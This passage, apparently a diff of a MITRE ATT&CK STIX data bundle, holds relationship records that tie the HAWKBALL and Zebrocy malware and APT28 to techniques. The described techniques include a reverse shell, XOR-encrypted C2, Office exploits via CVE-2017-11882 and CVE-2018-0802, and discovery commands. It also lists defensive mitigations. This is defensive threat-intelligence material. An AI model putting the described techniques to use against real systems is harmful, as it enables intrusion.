"https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) has sent system information and files over the C2 channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:52:45.175Z", + "id": "relationship--7ac3aabb-ed01-4e7f-a247-e043261a1c3b", + "source_ref": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", + "modified": "2019-07-06T21:31:25.575Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye HAWKBALL Jun 2019", + "description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) has encrypted data with XOR before sending it over the C2 channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:52:45.182Z", + "id": "relationship--9ee0e760-3084-4341-b1c3-3f50a0506595", + "source_ref": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", + "modified": "2019-07-06T21:31:25.600Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye HAWKBALL Jun 2019", + "description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) can collect the OS version, architecture information, and computer name.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:52:45.185Z", + "id": "relationship--3dbae391-a354-488a-b0ab-426d1a055413", + "source_ref": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", + "modified": "2019-07-06T21:31:25.616Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye HAWKBALL Jun 2019", + "description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) has downloaded additional files from the C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:52:45.209Z", + "id": "relationship--b49c2660-a58b-4aff-b1d7-644584bd6114", + "source_ref": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", + "modified": "2019-07-06T21:31:25.637Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye HAWKBALL Jun 2019", + "description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) can collect the user name of the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:52:45.212Z", + "id": "relationship--6337062d-04c1-43df-a72b-8719a31102a0", + "source_ref": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", + "modified": "2019-07-06T21:31:25.648Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye HAWKBALL Jun 2019", + "description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) has the ability to delete files.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:52:45.236Z", + "id": "relationship--e8164787-78fa-4a4a-89b1-8d5dbfbef592", + "source_ref": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", + "modified": "2019-07-06T21:31:25.695Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye HAWKBALL Jun 2019", + "description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) has created a cmd.exe reverse shell, executed commands, and uploaded output via the command line.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:52:45.234Z", + "id": "relationship--b34853df-c04a-4656-a5fe-3ee253c4de4e", + "source_ref": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", + "modified": "2019-07-06T21:31:25.693Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye HAWKBALL Jun 2019", + "description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) has sent HTTP GET requests over port 443 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:52:45.251Z", + "id": "relationship--1748fc79-2789-4792-92c4-48577d76d29c", + "source_ref": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", + "modified": "2019-07-06T21:31:25.750Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye HAWKBALL Jun 2019", + "description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) has used HTTP to communicate with a single hard-coded C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:52:45.253Z", + "id": "relationship--45f68415-1d63-4a14-9c6b-a5ac81e52a66", + "source_ref": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", + "modified": "2019-07-06T21:31:25.753Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye HAWKBALL Jun 2019", + "description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) has encrypted the payload with an XOR-based algorithm.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:52:45.257Z", + "id": "relationship--206ef2a2-192c-4739-a1bf-b5616dcacfed", + "source_ref": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", + "modified": "2019-07-06T21:31:25.783Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye HAWKBALL Jun 2019", + "description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) has leveraged several Windows API calls to create processes, gather disk information, and detect debugger activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:52:45.260Z", + "id": "relationship--ec61cd5f-b6aa-4aee-acb2-2882b8914c68", + "source_ref": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", + "modified": "2019-07-06T21:31:25.785Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye HAWKBALL Jun 2019", + "description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) has exploited Microsoft Office vulnerabilities CVE-2017-11882 and CVE-2018-0802 to deliver the payload. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:52:45.283Z", + "id": "relationship--b07612e3-9f6f-4c55-a63d-629b0e4c099f", + "source_ref": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", + "modified": "2019-07-06T21:31:25.787Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye HAWKBALL Jun 2019", + "description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) has used an OLE object that uses Equation Editor to drop the embedded shellcode.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:52:45.288Z", + "id": "relationship--160a52b3-8acd-4f19-810f-ac4ce96319d3", + "source_ref": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", + "modified": "2019-07-06T21:31:25.782Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye HAWKBALL Jun 2019", + "description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Malware researchers can reverse engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort. Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic. Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T14:58:09.046Z", + "id": "relationship--67d3ed70-9690-45e9-8559-bff8ad855112", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-07-17T19:32:24.358Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.", + "source_name": "Cybereason Dissecting DGAs", + "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf" + }, + { + "description": "Kasza, A. (2015, February 18). Using Algorithms to Brute Force Algorithms. Retrieved February 18, 2019.", + "source_name": "Cisco Umbrella DGA Brute Force", + "url": "https://umbrella.cisco.com/blog/2015/02/18/at-high-noon-algorithms-do-battle/" + }, + { + "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.", + "source_name": "Akamai DGA Mitigation", + "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd", + "description": "If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T15:00:15.719Z", + "id": "relationship--b1f2329b-3558-4310-ac3c-6112ac01cb42", + "source_ref": "course-of-action--7bb5fae9-53ad-4424-866b-f0ea2a8b731d", + "modified": "2019-07-17T19:25:38.363Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "Install software in write-protected locations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T15:02:56.665Z", + "id": "relationship--5edd0b13-3d4f-4fe8-bd37-ece03d0562a2", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-17T19:22:37.693Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "Update software regularly to include patches that fix DLL side-loading vulnerabilities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T15:02:56.681Z", + "id": "relationship--11180662-ca5e-4603-b7c9-64b3259cc081", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "modified": "2019-07-17T19:22:37.708Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89", + "description": "Patch the BIOS and other firmware as necessary to prevent successful use of known vulnerabilities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T15:39:37.667Z", + "id": "relationship--25a84607-970c-474e-83bc-143e2ccbb64b", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "modified": "2019-07-17T21:23:45.627Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89", + "description": "Prevent adversary access to privileged accounts or access necessary to replace system firmware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T15:39:37.686Z", + "id": "relationship--b4dafcd2-fed8-4266-b83e-f4033ada0d55", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-17T21:23:45.639Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89", + "description": "Check the integrity of the existing BIOS and device firmware to determine if it is vulnerable to modification.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T15:39:37.694Z", + "id": "relationship--f365854f-76e6-4746-bab8-2f2b94b50087", + "source_ref": "course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb", + "modified": "2019-07-17T21:23:45.641Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses cmd.exe to execute commands on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T15:44:46.309Z", + "id": "relationship--b7cd3903-1b6d-4163-b7cf-97dbdeefda05", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:33.128Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "source_name": "ESET Zebrocy May 2019", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab", + "description": "When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.\n\nDepending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.\n\nAs immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T15:44:50.969Z", + "id": "relationship--52fcde3f-d3af-4785-940f-5856dd657455", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "modified": "2019-10-10T15:57:52.566Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.", + "source_name": "CERT-EU DDoS March 2017", + "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf" + }, + { + "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.", + "source_name": "CERT-EU DDoS March 2017", + "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf" + }, + { + "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.", + "source_name": "CERT-EU DDoS March 2017", + "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[APT28](https://attack.mitre.org/groups/G0007) installed a Delphi backdoor that used a custom algorithm for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T16:11:36.504Z", + "id": "relationship--ea2f41fe-0701-4607-aa70-d6531c7461c6", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.732Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca205a36-c1ad-488b-aa6c-ab34bdd3a36b", + "description": "Prevent critical business and system processes from being replaced, overwritten, or reconfigured to load potentially malicious code.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T16:15:33.398Z", + "id": "relationship--f860fbe9-94c0-4e04-85b7-d3b29fd044ab", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-18T17:56:46.219Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "description": "Ensure proper registry permissions are in place to inhibit adversaries from disabling or interfering with critical services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T16:18:23.049Z", + "id": "relationship--c00535d0-6e59-4293-8034-70e5bf94a74a", + "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "modified": "2019-07-18T19:18:32.970Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "description": "Ensure proper process and file permissions are in place to inhibit adversaries from disabling or interfering with critical services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T16:18:23.056Z", + "id": "relationship--e28dc4ab-86fe-480e-9f0d-d7fab54c432d", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-18T19:18:32.968Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "description": "Operate intrusion detection, analysis, and response systems on a separate network from the production environment to lessen the chances that an adversary can see and interfere with critical response functions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T16:18:23.058Z", + "id": "relationship--40cd458c-5a59-4a8d-a04a-3cd3faebaf66", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-07-18T19:18:32.969Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92", + "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T16:21:24.870Z", + "id": "relationship--face1abc-1336-4e47-8f72-7108f3296f24", + "source_ref": "course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea", + "modified": "2019-07-18T18:26:38.326Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", + "source_name": "Ready.gov IT DRP", + "url": "https://www.ready.gov/business/implementation/IT" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92", + "description": "Consider encrypting important information to reduce an adversaries ability to perform tailored data modifications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T16:21:24.881Z", + "id": "relationship--6e72241f-a6a6-43e5-99b0-b32e1aee7077", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "modified": "2019-07-18T18:26:38.345Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) executes the reg query command to obtain information in the Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T16:44:52.810Z", + "id": "relationship--c4e03a2f-3617-4017-8dab-8904b1060c87", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:33.126Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "source_name": "ESET Zebrocy May 2019", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses netstat -aon to gather network connection information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T16:44:52.842Z", + "id": "relationship--1df5eebc-94f5-44ae-8feb-8d3a89fbfc4e", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:33.179Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "source_name": "ESET Zebrocy May 2019", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) runs the ipconfig /all command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T16:44:52.847Z", + "id": "relationship--7c18e59d-3448-462c-aaa7-bf03b9ea5780", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:33.176Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "source_name": "ESET Zebrocy May 2019", + "url": 